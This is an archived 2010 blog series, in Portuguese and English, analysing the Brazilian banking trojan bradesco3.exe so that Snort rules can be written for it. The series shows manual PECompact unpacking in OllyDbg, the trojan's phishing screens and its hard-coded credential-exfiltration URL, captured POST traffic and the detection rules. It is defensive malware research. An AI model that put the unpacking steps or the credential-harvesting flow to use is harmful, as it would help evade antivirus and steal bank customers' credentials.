Introdução
O objetivo desta última parte na análise com o bradesco3.exe é olhar o código, como agora o malware foi "descompactado" é possível verificar o código de uma forma mais fácil. Verificando o código do malware é a melhor forma de ter certeza que a regra criada para detectá-lo foi realmente bem escrita, pois, dependendo do ambiente em que o malware está sendo executado pode não estar executando certas ações. Como este malware é relativamente simples, o que interessa nessa análise de código é descobrir se de alguma forma a URL é randômica ou estática, para que possamos possivelmente melhorar ou encontrar alguma falha na regra do snort criada para detectar a atividade de rede deste malware como mostrado neste post.
Analisando o código
Embora o mais comum seja utilizar um disassembler como o IDAPro, o OllyDBG me serviu para analisar este simples malware, além do que utilizei mais debugging do que realmente ler o código por completo. Além disso, optei por não utilizar um disassembler para Delphi.
Logo no inicio, endereco 0x00472874, vi uma string que já valeu o trabalho fazer o unpack do arquivo:
Deve ser algum stilo Restart de programar. Não faz sentido algom o uso desta string "EUATETEAMEIMASVOCENAOVALENADAMESMO".
Indo ao que interessa (URL), olhando as strings disponíveis após "descompactar" o malware, percebi que a URL e os parâmetros não estão em texto puro, provavelmente sendo gerados na execução. Entretanto, encontrei a string "http" em 0x0046F5B0 e colocando um breakpoint neste endereço percebi que a stack já tinha todos os parâmetros da URL.
00DEFF44 |00B096B8 ASCII "http://www.shanhaiichiba.com/banner_inc.php"
00DEFF48 |00B425B8 ASCII "PAL"
00DEFF4C |00B3AC08 ASCII "A6CECFCDC5BD"
00DEFF50 |00B09778 ASCII "&NOME="
00DEFF54 |00B493D8 ASCII "PWD"
00DEFF58 |00B3A828 ASCII "C4C1C4CFD3BD"
00DEFF5C |00B09738 ASCII "DADOS="
00DEFF64 |00B28358 ASCII "T=C&DADOS=PWD&NOME=PAL"
Portanto, em alguma função acima do endereço 0x0046F5B0, foi extraído a URL e os parâmetros, se observarmos "DADOS=" e "C4C1C4CFD3BD", 'D' = "C4", assim como 'A' = "C1" e 'O' = "CF", pois em "&NOME=" e "A6CECFCDC5BD" "CF" está na terceira posição assim como a letra "O".
Provavelmente, estes dois utilizam as mesmas funções para extrair os parâmetros da URL. O início da função onde está 0x46F5B0 é o 0x0046F524 e colocando um breakpoint neste endereço, notei que esta função é chamada por 0x0046F721 e 0x0046F88E.
Ao verificar a função onde se encontra 0x0046F721 e percorrer a mesma a partir do início 0x0046F67C, notei que esta é a função responsável por extrair os parâmetros da URL:
"T=C&" hard-coded em:
0046F6AC PUSH bradesco.0046F7D8 ; ASCII "T=C&"
0046F6B9 CALL bradesco.0040658C
Retorno: EAX=00B3A828 ASCII "C4C1C4CFD3BD"
0046F6C4 CALL bradesco.0046DF34
Retorno: 00B09738 ASCII "DADOS="
0046F6CF MOV EAX,DWORD PTR DS:[EBX+48]
0x00B41D38 fixo "PWD"
0046F6D2 CALL bradesco.0046F1C4
Retorno: EBP-18 ASCII "PWD"
0046F6E2 CALL bradesco.0040658C
Retorno: 00B3AC08 ASCII "A6CECFCDC5BD"
0046F6ED CALL bradesco.0046DF34
Retorno: 00B09778 ASCII "&NOME="
0046F6FACALL bradesco.0046F988
Retorno: 00B425B8 ASCII "PAL"
0046F70A CALL bradesco.00404CCC
Retorno: 00B28358 ASCII "T=C&DADOS=PWD&NOME=PAL"
0046F712 MOV EAX,DWORD PTR DS:[4748FC]
DS:[004748FC]=0046F454
0046F454: ASCII "E8F4F4F0BAAFAFF7F7F7AEF3E8E1EEE8E1E9E9E3E8E9E2E1AEE3EFEDAFE2E1EEEEE5F2DFE9EEE3AEF0E8F0" 0046F717 CALL bradesco.0046DF34
Resultado: 00B096B8 ASCII "http://www.shanhaiichiba.com/banner_inc.php"
Embora a URL não esteja disponível em texto puro, ela não se modifica, hard-coded em 0x0046F454. Na função 0x0046F988, é utilizada a função GetComputerNameA para obter o hostname:
0046F9AC CALL 'JMP.&kernel32.GetComputerNameA ; \GetComputerNameA
Ajustando a regra
A atual regra para este malware é a seguinte:
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Bradesco Malware Communication Detected (plugin.exe)"; flow:established; uricontent:"&DADOS=";http_client_body;content:"&NOME=";http_client_body; sid:100000000;rev:1; )
Basicamente, checamos a URI por &DADOS= e &NOME=. Porém, é possível que outras aplicações utilizem &NOME= e &DADOS= na URL, e conforme análise acima podemos também confirmar que a URL em sí e T=C& são fixos, o ideal da URL é adicionar na blacklist de um proxy, portanto apenas adicionando T=C& na regra pode ajudar a diminuir os possívels falsos-positivos.
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Bradesco Malware Communication Detected (plugin.exe)"; flow:established; uricontent:"T=C&DADOS=PWD&NOME=";http_client_body; sid:100000000;rev:1; )
Conclusão
Na prática, dificilmente um malware como este levaria a esta análise, porém serviu apenas para demonstrar a importância de verificar o código, pois, embora não tenha detectado alguma atividade diferente da já analisada, foi possível atualizar a regra, diminuindo possíveis falsos positivos.
Projeto Criados para analise de criação de assinaturas para projetos opensources para ameaças "Made In Brazil"
segunda-feira, 8 de novembro de 2010
sábado, 16 de outubro de 2010
Another look at bradesco3.exe part2
Introdução
In my last post I analyzed bradesco3.exe focused on screen captures and the trojan functionality, on this post I will describe how to unpack this sample, actually how to manually unpack PECompact.
By decision of malwares-br group (4.5 vs 1.5), this post is in Portuguese (pt_BR). I don't see any issue since unpack PECompact tutorials are available in English. In any way, if you have any doubts, do not hesitate to contact me.
Como já brincamos com o trojan no último post e o Rodrigo também já submeteu o trojan para análise comportamental ao anubis, resta agora fazer a análise do código. Embora após executar o trojan várias vezes, tivemos o mesmo resultado (mesma URL e parâmetros), é interessante análisar o código para confirmar que a URL não é modificada, ou qualquer outra informação como descobrir o autor ou até mesmo para se divertir.
Este post está dividido em cinco partes:
1) Identificando Packer
2) Encontrando OEP
3) Dump do processo e recuperando IAT
4) Resultados do VirusTotal
5) Conclusões
Identificando Packer
Antes de iniciar a análise de código eu costumo verificar o md5hash do arquivo, verificar se existe alguma string disponível interessante e analisar o mesmo com o o PEiD.
Para analisar as strings, utilizei o BinText e a mensagem inicial já indica que o arquivo pode estar compactado.
No início das strings é possível identificar as strings "PEC2" e "PECompact2", provavelmente este arquivo foi compacto com o packer PECompact versão 2. Além destas, nenhuma outra string interessante, somente as DLLs e funções utilizadas pelo trojan.
O melhor "identificador" de arquivos PE que conheço é o PEiD, ele consegue detectar vários packers e linguagens de programação. Portanto, para melhorar a tese de que este arquivo foi compactado com o PECompact, utilizei o PEiD. Note que pode acontecer do autor inserir algumas strings que aparentemente sejam de algum packer e na verdade não são. Por exemplo, neste caso caso o PEiD identifique o arquivo como sendo compactado pelo PECompact a partir das strings "PEC2" e "PECompact2", o autor poderia inserir essas strings somente para dificultar a análise, fazendo com o que o analista acredite que o arquivo foi compactado com o PECompact onde na verdade não foi. Isso pode dificultar ferramentas automatizadas de unpacking.
Já sabemos que o arquivo está provavelmente compactado com o PECompact, então agora é hora de análisar o código e possivelmente descompactar o mesmo. Para isso, irei utilizar o OllyDBG.
Encontrando o OEP
Basicamente, descompactar ou "desempacotar" o arquivo consiste em encontrar o OEP (Original Entry Point) do programa, ou seja, o início do programa. Note que a primeira instrução salva o endereço 0x00525c48 no EAX.
Verificando este endereço foi possível notar um "JMP EAX" um pouco abaixo, no endereço 0x00525D0A.
Por quê o interesse pelo "JMP EAX"? Em alguns packers, e é o caso do PECompact, eles salvam o OEP no EAX e quando terminam de descompactar o arquivo, retornam para o OEP para que o programa seja executado normalmente. Portanto, conseguindo acessar o "JMP EAX", provavelmente consigamos acessar o OEP e descompactar (ou fazer um "dump") do arquivo. Portanto, o objetivo é colocar um breakpoint no endereço 0x00525D0A para que possamos
acessar o OEP.
Entretando, como este endereço está fora da seção de códigos (> 0x00521000) então é necessário um hardware breakpoint. Embora o hardware breakpoint possa funcionar para o que queremos que é acessar o OEP, quando fazemos o JMP para o EAX o código ainda não fica legível, mesmo após o Ctrl+A (Analyse code).
Então, uma maneira mais "elegante" é provocar um loop infinito no programa, adicionar o processo em execução ao debugger e alterar a instrução do loop infinito para "JMP EAX" e aí sim acessar o OEP. Para isso, basta alterar 0x00525D0A de "JMP EAX" para "EB FE" ou "JMP 0x00525D0A, "EB FE" é o opcode para JMP $EIP, executar um JMP no atual endereço do EIP, ou seja, do atual endereço de memória, causando um loop infinito.
Após salvar a alteração em um outro arquivo "bradesco3_novo.exe" e executá-lo, é necessário anexar o processo ao Olly
Após anexar o processo, executar (F9) e pausar (F12), irá para no endereço 0x00525D0A.
Alterar para "JMP EAX", basta pressionar a tecla de espaço para fazer a alteração.
E então executar a instrução via F7.
Finalmente chegamos ao OEP, note que as primeiras instruções "PUSH EBP; MOV EBP, ESP" são comumente utilizadas no início do programa ou de qualquer função para salvar o endereço de retorno, portanto este é provavelmente o início "real" do programa.
Dump do processo e recuperando IAT
Agora é necessário fazer o dump do processo, para isso vou utilizar o OllyDump, plugin para o OllyDBG. Das opções padrões, retire a opção "Rebuild Import", por alguma razão essa opção nem sempre funciona e é necessário importar as DLLs manualmente.
Salvei o novo arquivo como "bradesco3_novo_dumped.exe", observe que ele não é executável pois está faltando as DLLs.
Para importar as DLLs, ou recuperar a IAT (Import Address Table) vamos utilizar o ImpREC, porém é necessário descobrir algumas informações que faltam via Olly:
RVA (Relative Virtual Address) - primeiro endereço de memória da IAT
Size - tamanho da IAT, ou seja, (último endereço+0x04) - (primeiro endereço) = size
OEP - já descobrimos 0x00472864
Ainda no Olly, com o "bradesco3_novo.exe", procurar por "FF 25" (Ctrl+B) ou "JMP DWORD PTR DS:" comumente utilizado quando é necessário acessar uma função de uma DLL, a partir daí é possível procurar na memória os endereços da IAT. Basta selecionar a instrução e seguir a instrução do dump de memória (Follow in Dump -> Memory Address).
Na verdade o útimo endereço de memória da tabela é o 0x47AE3C mas como temos que calcular o tamanho, teriamos que adicionar +0x04, ou seja, 0x47AE3C + 0x04 = 0x47AE40. Então, o tamanho da tabela é 0x0047AE3C - 0x0047A140 = CFC. Agora basta utilizar o ImpREC para salvar a IAT no arquivo "bradesco3_novo_dumped.exe".
Clicar em "Fix Dump" e selecionar o arquivo bradesco3_novo_dumped.exe, o novo arquivo com o IAT e pronto para ser executado será salvo com o nome do arquivo "+ _", neste caso "bradesco3_novo_dumped_.exe".
Resultados do VirusTotal
O arquivo descompactado é consideravelmente bem maior que o compactado.
O arquivo descompactado tem menor detecção do que o compactado 8/43, enquanto o compactado atualmente possui 24/42.
Conclusão
Embora o malware esteja compactado, o mesmo foi compactado com um packer conhecido o que não dificultou descompactar o mesmo. É interessante verificar que o arquivo descompactado tenha menor detecção por parte dos softwares de antí-virus, mesmo que alguns deles provavelmente possuem programas automáticos para descompactar arquivos, o hash ou característica dos mesmos não foram adicionado a base de assinaturas.
No próximo e último post sobre o "bradesco3.exe" irei finalmente analisá-lo.
Obrigado pela sua atenção.
Pedro Drimel Neto.
In my last post I analyzed bradesco3.exe focused on screen captures and the trojan functionality, on this post I will describe how to unpack this sample, actually how to manually unpack PECompact.
By decision of malwares-br group (4.5 vs 1.5), this post is in Portuguese (pt_BR). I don't see any issue since unpack PECompact tutorials are available in English. In any way, if you have any doubts, do not hesitate to contact me.
Como já brincamos com o trojan no último post e o Rodrigo também já submeteu o trojan para análise comportamental ao anubis, resta agora fazer a análise do código. Embora após executar o trojan várias vezes, tivemos o mesmo resultado (mesma URL e parâmetros), é interessante análisar o código para confirmar que a URL não é modificada, ou qualquer outra informação como descobrir o autor ou até mesmo para se divertir.
Este post está dividido em cinco partes:
1) Identificando Packer
2) Encontrando OEP
3) Dump do processo e recuperando IAT
4) Resultados do VirusTotal
5) Conclusões
Identificando Packer
Antes de iniciar a análise de código eu costumo verificar o md5hash do arquivo, verificar se existe alguma string disponível interessante e analisar o mesmo com o o PEiD.
Para analisar as strings, utilizei o BinText e a mensagem inicial já indica que o arquivo pode estar compactado.
No início das strings é possível identificar as strings "PEC2" e "PECompact2", provavelmente este arquivo foi compacto com o packer PECompact versão 2. Além destas, nenhuma outra string interessante, somente as DLLs e funções utilizadas pelo trojan.
O melhor "identificador" de arquivos PE que conheço é o PEiD, ele consegue detectar vários packers e linguagens de programação. Portanto, para melhorar a tese de que este arquivo foi compactado com o PECompact, utilizei o PEiD. Note que pode acontecer do autor inserir algumas strings que aparentemente sejam de algum packer e na verdade não são. Por exemplo, neste caso caso o PEiD identifique o arquivo como sendo compactado pelo PECompact a partir das strings "PEC2" e "PECompact2", o autor poderia inserir essas strings somente para dificultar a análise, fazendo com o que o analista acredite que o arquivo foi compactado com o PECompact onde na verdade não foi. Isso pode dificultar ferramentas automatizadas de unpacking.
Já sabemos que o arquivo está provavelmente compactado com o PECompact, então agora é hora de análisar o código e possivelmente descompactar o mesmo. Para isso, irei utilizar o OllyDBG.
Encontrando o OEP
Basicamente, descompactar ou "desempacotar" o arquivo consiste em encontrar o OEP (Original Entry Point) do programa, ou seja, o início do programa. Note que a primeira instrução salva o endereço 0x00525c48 no EAX.
Verificando este endereço foi possível notar um "JMP EAX" um pouco abaixo, no endereço 0x00525D0A.
Por quê o interesse pelo "JMP EAX"? Em alguns packers, e é o caso do PECompact, eles salvam o OEP no EAX e quando terminam de descompactar o arquivo, retornam para o OEP para que o programa seja executado normalmente. Portanto, conseguindo acessar o "JMP EAX", provavelmente consigamos acessar o OEP e descompactar (ou fazer um "dump") do arquivo. Portanto, o objetivo é colocar um breakpoint no endereço 0x00525D0A para que possamos
acessar o OEP.
Entretando, como este endereço está fora da seção de códigos (> 0x00521000) então é necessário um hardware breakpoint. Embora o hardware breakpoint possa funcionar para o que queremos que é acessar o OEP, quando fazemos o JMP para o EAX o código ainda não fica legível, mesmo após o Ctrl+A (Analyse code).
Então, uma maneira mais "elegante" é provocar um loop infinito no programa, adicionar o processo em execução ao debugger e alterar a instrução do loop infinito para "JMP EAX" e aí sim acessar o OEP. Para isso, basta alterar 0x00525D0A de "JMP EAX" para "EB FE" ou "JMP 0x00525D0A, "EB FE" é o opcode para JMP $EIP, executar um JMP no atual endereço do EIP, ou seja, do atual endereço de memória, causando um loop infinito.
Após salvar a alteração em um outro arquivo "bradesco3_novo.exe" e executá-lo, é necessário anexar o processo ao Olly
Após anexar o processo, executar (F9) e pausar (F12), irá para no endereço 0x00525D0A.
Alterar para "JMP EAX", basta pressionar a tecla de espaço para fazer a alteração.
E então executar a instrução via F7.
Finalmente chegamos ao OEP, note que as primeiras instruções "PUSH EBP; MOV EBP, ESP" são comumente utilizadas no início do programa ou de qualquer função para salvar o endereço de retorno, portanto este é provavelmente o início "real" do programa.
Dump do processo e recuperando IAT
Agora é necessário fazer o dump do processo, para isso vou utilizar o OllyDump, plugin para o OllyDBG. Das opções padrões, retire a opção "Rebuild Import", por alguma razão essa opção nem sempre funciona e é necessário importar as DLLs manualmente.
Salvei o novo arquivo como "bradesco3_novo_dumped.exe", observe que ele não é executável pois está faltando as DLLs.
Para importar as DLLs, ou recuperar a IAT (Import Address Table) vamos utilizar o ImpREC, porém é necessário descobrir algumas informações que faltam via Olly:
RVA (Relative Virtual Address) - primeiro endereço de memória da IAT
Size - tamanho da IAT, ou seja, (último endereço+0x04) - (primeiro endereço) = size
OEP - já descobrimos 0x00472864
Ainda no Olly, com o "bradesco3_novo.exe", procurar por "FF 25" (Ctrl+B) ou "JMP DWORD PTR DS:" comumente utilizado quando é necessário acessar uma função de uma DLL, a partir daí é possível procurar na memória os endereços da IAT. Basta selecionar a instrução e seguir a instrução do dump de memória (Follow in Dump -> Memory Address).
Na verdade o útimo endereço de memória da tabela é o 0x47AE3C mas como temos que calcular o tamanho, teriamos que adicionar +0x04, ou seja, 0x47AE3C + 0x04 = 0x47AE40. Então, o tamanho da tabela é 0x0047AE3C - 0x0047A140 = CFC. Agora basta utilizar o ImpREC para salvar a IAT no arquivo "bradesco3_novo_dumped.exe".
Clicar em "Fix Dump" e selecionar o arquivo bradesco3_novo_dumped.exe, o novo arquivo com o IAT e pronto para ser executado será salvo com o nome do arquivo "+ _", neste caso "bradesco3_novo_dumped_.exe".
Resultados do VirusTotal
O arquivo descompactado é consideravelmente bem maior que o compactado.
O arquivo descompactado tem menor detecção do que o compactado 8/43, enquanto o compactado atualmente possui 24/42.
Conclusão
Embora o malware esteja compactado, o mesmo foi compactado com um packer conhecido o que não dificultou descompactar o mesmo. É interessante verificar que o arquivo descompactado tenha menor detecção por parte dos softwares de antí-virus, mesmo que alguns deles provavelmente possuem programas automáticos para descompactar arquivos, o hash ou característica dos mesmos não foram adicionado a base de assinaturas.
No próximo e último post sobre o "bradesco3.exe" irei finalmente analisá-lo.
Obrigado pela sua atenção.
Pedro Drimel Neto.
segunda-feira, 11 de outubro de 2010
Another look at bradesco3.exe part1
I am writing in English so it's easier to share with friends around the globe. Also, I do not expect this blog being visited by Brazilian end-users.
Introduction
On this part1 I will analyze the same sample of the last post within a different point of view, focused on the malware analyze without looking at the code, with some screenshots and some thoughts on the remote host compromise.
In the next posts, I will unpack the malware, compare VT results packed vs unpacked and later analyze the code, figuring out how the malware load the target URL.
So, this post may be interested for only whoever never saw a Brazilian banker.
The sample itself
I won't run through the behavioral analysis (file system, registry access, etc), for that you can take a look at the previous post here. Also, most of the Brazilian bankers (if not all) don't use to be persistent or advanced, like adding itself to registry, perform API hooking, process injection, etc. Most of them are simple applications developed under higher-level languages such as Delphi and Visual Basic and sometimes packed with known packers, I haven't seen yet a Brazilian banker packed by a custom packer. Please, let me know if you have one of those, I would love to have a look.
The design looks good, it says "Atualização de Segurança" which means "Security update". Basically, the attacker is trying to get bank information from the victim providing him a security update, something like you need to provide your bank password in order to be secure, you would not do that but someone will, for sure. In my point of view, there are only two mistakes by the author, the hyperlinks are not working and "Modulo de Seguraça" should be "Módulo de Segurança" which means "Security Module", classic typo, not a big deal, my mom would not even notice that.
Then you just need to choose your account type: "Bradesco - Pessoa Física" or "Bradeco - Prime", I don't know why that since for both you need to provide the same information. Once you choose your account type a message is displayed saying the information exchange will only be available for you and the bank. This is a default behavior for bankers, repeat a couple of times you are secure, I have never saw that amount of messages from my real bank.
Once you type agency and account, a virtual keyboard is displayed, like in real the bank website, it's fairly the same. The application does not even let you type the password if you don't do through the virtual keyboard.
Once you click on "Enviar" which means "Send", another message is displayed saying that your new security card will be sent to your address and then ask if you already received it or not.
What the hell is a "security card"?
On this bank, the second authentication method use a card which the bank calls "security card", they do not use tokens like other banks, so basically if you want to transfer money online you also need to provide the number of position "x" in your security card.
Once you click "Yes" or "No" another message is displayed saying that the security card improves your online transactions and that you should "re-sign" the current one, which means in theory that you need to provide all of the security card position numbers in order to keep the current one.
Then, finally, after you type all the security card numbers and click "Enviar" a HTTP POST is sent to www.shanhaiichiba.com with your data. The author fails again do not mentioning REF stays in the front of the card, they don't even need REF in order to steal money, perhaps it's something additional to pretend being a valid application.
The HTTP Post is the following:
T=P&DADOS=TIPO+......:+Bradesco+-+Pessoa+Física CONTA+.....:+1111-1111111-1 SENHA+4+...:+4444 :::::::+TABELA+::::::: REF+.......:+999999999999 1+..:+222 2+..:+222 3+..:+222 4+..:+222 5+..:+222 6+..:+222 7+..:+222 8+..:+222 9+..:+222 10+..:+222 11+..:+222 12+..:+222 13+..:+222 14+..:+222 15+..:+222 16+..:+222 17+..:+222 18+..:+222 19+..:+222 20+..:+222 21+..:+222 22+..:+222 23+..:+222 24+..:+222 25+..:+222 26+..:+222 27+..:+222 28+..:+222 29+..:+222 30+..:+222 31+..:+222 32+..:+222 33+..:+222 34+..:+222 35+..:+222 36+..:+222 37+..:+222 38+..:+222 39+..:+222 40+..:+222 41+..:+222 42+..:+222 43+..:+222 44+..:+222 45+..:+222 46+..:+222 47+..:+222 48+..:+222 49+..:+222 50+..:+222 51+..:+222 52+..:+222 53+..:+222 54+..:+222 55+..:+222 56+..:+222 57+..:+222 58+..:+222 59+..:+222 60+..:+222 61+..:+222 62+..:+222 63+..:+222 64+..:+222 65+..:+222 66+..:+222 67+..:+222 68+..:+222 69+..:+222 70+..:+222 &NOME=PAL
Thoughts
URLvoid results says the website is clean: http://www.urlvoid.com/scan/shanhaiichiba.com
Most likely this website may not host malware however at some point was used by the attacker to upload the banner_inc.php file and grab the bank account data. The banner_inc.php is not available at this moment,
Just out of curiosity I looked at zone-h archive and found this website was defaced in 2010/08/26: http://www.zone-h.org/mirror/id/11315692
This does not mean the attacker who defaced the website uploaded the banner_inc.php, most likely not. However, it increases the possibility that another attacker uploaded malicious file like the banner_inc.php. This is an example of a valid website being used by attackers to spread malware, on this case just being used as a bridge to gather bank account data.
Conclusion
Even thought the malware has some typos it has a good design and I believe people may trust that's a valid software from the bank, it does not has a valid certificate but I also believe whoever clicked on it will just click OK to open it up. Also, since it uses a non-malicious URL, a web proxy would not detect the traffic.
In the next post, I will show up how to unpack the malware and on part3 we will analyze the code to make sure the malware does not use another URL for sending data.
Thanks for your attention.
Pedro Drimel Neto
Introduction
On this part1 I will analyze the same sample of the last post within a different point of view, focused on the malware analyze without looking at the code, with some screenshots and some thoughts on the remote host compromise.
In the next posts, I will unpack the malware, compare VT results packed vs unpacked and later analyze the code, figuring out how the malware load the target URL.
So, this post may be interested for only whoever never saw a Brazilian banker.
The sample itself
I won't run through the behavioral analysis (file system, registry access, etc), for that you can take a look at the previous post here. Also, most of the Brazilian bankers (if not all) don't use to be persistent or advanced, like adding itself to registry, perform API hooking, process injection, etc. Most of them are simple applications developed under higher-level languages such as Delphi and Visual Basic and sometimes packed with known packers, I haven't seen yet a Brazilian banker packed by a custom packer. Please, let me know if you have one of those, I would love to have a look.
The design looks good, it says "Atualização de Segurança" which means "Security update". Basically, the attacker is trying to get bank information from the victim providing him a security update, something like you need to provide your bank password in order to be secure, you would not do that but someone will, for sure. In my point of view, there are only two mistakes by the author, the hyperlinks are not working and "Modulo de Seguraça" should be "Módulo de Segurança" which means "Security Module", classic typo, not a big deal, my mom would not even notice that.
Then you just need to choose your account type: "Bradesco - Pessoa Física" or "Bradeco - Prime", I don't know why that since for both you need to provide the same information. Once you choose your account type a message is displayed saying the information exchange will only be available for you and the bank. This is a default behavior for bankers, repeat a couple of times you are secure, I have never saw that amount of messages from my real bank.
Once you type agency and account, a virtual keyboard is displayed, like in real the bank website, it's fairly the same. The application does not even let you type the password if you don't do through the virtual keyboard.
Once you click on "Enviar" which means "Send", another message is displayed saying that your new security card will be sent to your address and then ask if you already received it or not.
What the hell is a "security card"?
On this bank, the second authentication method use a card which the bank calls "security card", they do not use tokens like other banks, so basically if you want to transfer money online you also need to provide the number of position "x" in your security card.
Once you click "Yes" or "No" another message is displayed saying that the security card improves your online transactions and that you should "re-sign" the current one, which means in theory that you need to provide all of the security card position numbers in order to keep the current one.
Then, finally, after you type all the security card numbers and click "Enviar" a HTTP POST is sent to www.shanhaiichiba.com with your data. The author fails again do not mentioning REF stays in the front of the card, they don't even need REF in order to steal money, perhaps it's something additional to pretend being a valid application.
The HTTP Post is the following:
T=P&DADOS=TIPO+......:+Bradesco+-+Pessoa+Física CONTA+.....:+1111-1111111-1 SENHA+4+...:+4444 :::::::+TABELA+::::::: REF+.......:+999999999999 1+..:+222 2+..:+222 3+..:+222 4+..:+222 5+..:+222 6+..:+222 7+..:+222 8+..:+222 9+..:+222 10+..:+222 11+..:+222 12+..:+222 13+..:+222 14+..:+222 15+..:+222 16+..:+222 17+..:+222 18+..:+222 19+..:+222 20+..:+222 21+..:+222 22+..:+222 23+..:+222 24+..:+222 25+..:+222 26+..:+222 27+..:+222 28+..:+222 29+..:+222 30+..:+222 31+..:+222 32+..:+222 33+..:+222 34+..:+222 35+..:+222 36+..:+222 37+..:+222 38+..:+222 39+..:+222 40+..:+222 41+..:+222 42+..:+222 43+..:+222 44+..:+222 45+..:+222 46+..:+222 47+..:+222 48+..:+222 49+..:+222 50+..:+222 51+..:+222 52+..:+222 53+..:+222 54+..:+222 55+..:+222 56+..:+222 57+..:+222 58+..:+222 59+..:+222 60+..:+222 61+..:+222 62+..:+222 63+..:+222 64+..:+222 65+..:+222 66+..:+222 67+..:+222 68+..:+222 69+..:+222 70+..:+222 &NOME=PAL
Thoughts
URLvoid results says the website is clean: http://www.urlvoid.com/scan/shanhaiichiba.com
Most likely this website may not host malware however at some point was used by the attacker to upload the banner_inc.php file and grab the bank account data. The banner_inc.php is not available at this moment,
Just out of curiosity I looked at zone-h archive and found this website was defaced in 2010/08/26: http://www.zone-h.org/mirror/id/11315692
This does not mean the attacker who defaced the website uploaded the banner_inc.php, most likely not. However, it increases the possibility that another attacker uploaded malicious file like the banner_inc.php. This is an example of a valid website being used by attackers to spread malware, on this case just being used as a bridge to gather bank account data.
Conclusion
Even thought the malware has some typos it has a good design and I believe people may trust that's a valid software from the bank, it does not has a valid certificate but I also believe whoever clicked on it will just click OK to open it up. Also, since it uses a non-malicious URL, a web proxy would not detect the traffic.
In the next post, I will show up how to unpack the malware and on part3 we will analyze the code to make sure the malware does not use another URL for sending data.
Thanks for your attention.
Pedro Drimel Neto
quinta-feira, 7 de outubro de 2010
Lista malwares-br
Caros,
Visto que muitas pessoas estão interessadas no projeto criei a lista do projeto para compartilharmos as informações e assim produzirmos mais rapidamente as regras e analises.
A lista é moderada pois inicialmente temos o intuito de termos pessoas que realmente participarão ativamente do projeto . Lembro que não queremos excluir ninguém , caso você queira iniciar nessa area poderá pedir acesso mas terá que participar (mesmo que errando mas assim que aprendemos) visto que ninguém aprende por osmose =)!
Trocaremos na lista info como:
- Link para os artefatos maliciosos
- Inicio de analises para outros adicionarem algo ou adiantarem o processo
- Pcap
- Sugestão / Criação de regras visto que alguns gostam de analise mas não possuem prática na escrita de regras
Para entrar na lista: http://groups.google.com.br/group/malwares-br?hl=pt-br
Happy Snorting!
Rodrigo Montoro (Sp0oKeR)
Visto que muitas pessoas estão interessadas no projeto criei a lista do projeto para compartilharmos as informações e assim produzirmos mais rapidamente as regras e analises.
A lista é moderada pois inicialmente temos o intuito de termos pessoas que realmente participarão ativamente do projeto . Lembro que não queremos excluir ninguém , caso você queira iniciar nessa area poderá pedir acesso mas terá que participar (mesmo que errando mas assim que aprendemos) visto que ninguém aprende por osmose =)!
Trocaremos na lista info como:
- Link para os artefatos maliciosos
- Inicio de analises para outros adicionarem algo ou adiantarem o processo
- Pcap
- Sugestão / Criação de regras visto que alguns gostam de analise mas não possuem prática na escrita de regras
Para entrar na lista: http://groups.google.com.br/group/malwares-br?hl=pt-br
Happy Snorting!
Rodrigo Montoro (Sp0oKeR)
segunda-feira, 27 de setembro de 2010
Exemplo de Analise e Regra
Caros,
Estou postando aqui uma análise BEM básica mas acredito que seja um rascunho que podemos certamente melhorar .
File: Bradesco3.exe
Imagem Phishing: Quando recebe por email colocamos um screenshot aqui
Online Analysis:
http://anubis.iseclab.org/?action=result&task_id=1f292cd7c26bd99f4e1d6d24fb47ecf8a
http://www.virustotal.com/analisis/abc8be44fddf6e2b22e760b5ea695182f8e4b9080201f47f7227be018b27f8be-1279631400
Part of TCP Traffic that rules were based
POST /banner_inc.php HTTP/1.1
Content-Length: 22
Host: www.shanhaiichiba.com
Accept: */*
Keep-Alive: 300
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
T=C&DADOS=PWD&NOME=pc2HTTP/1.1 200 OK
Date: Tue, 20 Jul 2010 13:02:02 GMT
Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.13
Content-Length: 0
Keep-Alive: timeout=30, max=100
Connection: Keep-Alive
Content-Type: text/html
Snort Rule
# Rule Created 20/07/2010
# Bradesco Plugin
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Bradesco Malware Communication Detected (plugin.exe)"; flow:established; uricontent:"&DADOS=";http_client_body;content:"&NOME=";http_client_body; sid:100000000;rev:1; )
Simulation
07/20-10:02:03.221920 [**] [1:100000000:1] Bradesco Malware Communication Detected (plugin.exe) [**] [Priority: 0] {TCP} 192.168.0.2:1038 -> 74.81.93.227:80
07/20-10:02:03.221920 52:54:0:12:34:56 -> 92:27:FC:57:72:BB type:0x800 len:0x18A
192.168.0.2:1038 -> 74.81.93.227:80 TCP TTL:128 TOS:0x0 ID:1802 IpLen:20 DgmLen:380 DF
***AP*** Seq: 0xBA9DCDE7 Ack: 0xA208E838 Win: 0x4470 TcpLen: 20
50 4F 53 54 20 2F 62 61 6E 6E 65 72 5F 69 6E 63 POST /banner_inc
2E 70 68 70 20 48 54 54 50 2F 31 2E 31 0D 0A 43 .php HTTP/1.1..C
6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 32 ontent-Length: 2
32 0D 0A 48 6F 73 74 3A 20 77 77 77 2E 73 68 61 2..Host: www.sha
6E 68 61 69 69 63 68 69 62 61 2E 63 6F 6D 0D 0A nhaiichiba.com..
41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 4B 65 65 Accept: */*..Kee
70 2D 41 6C 69 76 65 3A 20 33 30 30 0D 0A 55 73 p-Alive: 300..Us
65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C er-Agent: Mozill
61 2F 34 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C a/4.0 (compatibl
65 3B 20 4D 53 49 45 20 36 2E 30 3B 20 57 69 6E e; MSIE 6.0; Win
64 6F 77 73 20 4E 54 20 35 2E 31 3B 20 53 56 31 dows NT 5.1; SV1
3B 20 2E 4E 45 54 20 43 4C 52 20 32 2E 30 2E 35 ; .NET CLR 2.0.5
30 37 32 37 3B 20 2E 4E 45 54 20 43 4C 52 20 33 0727; .NET CLR 3
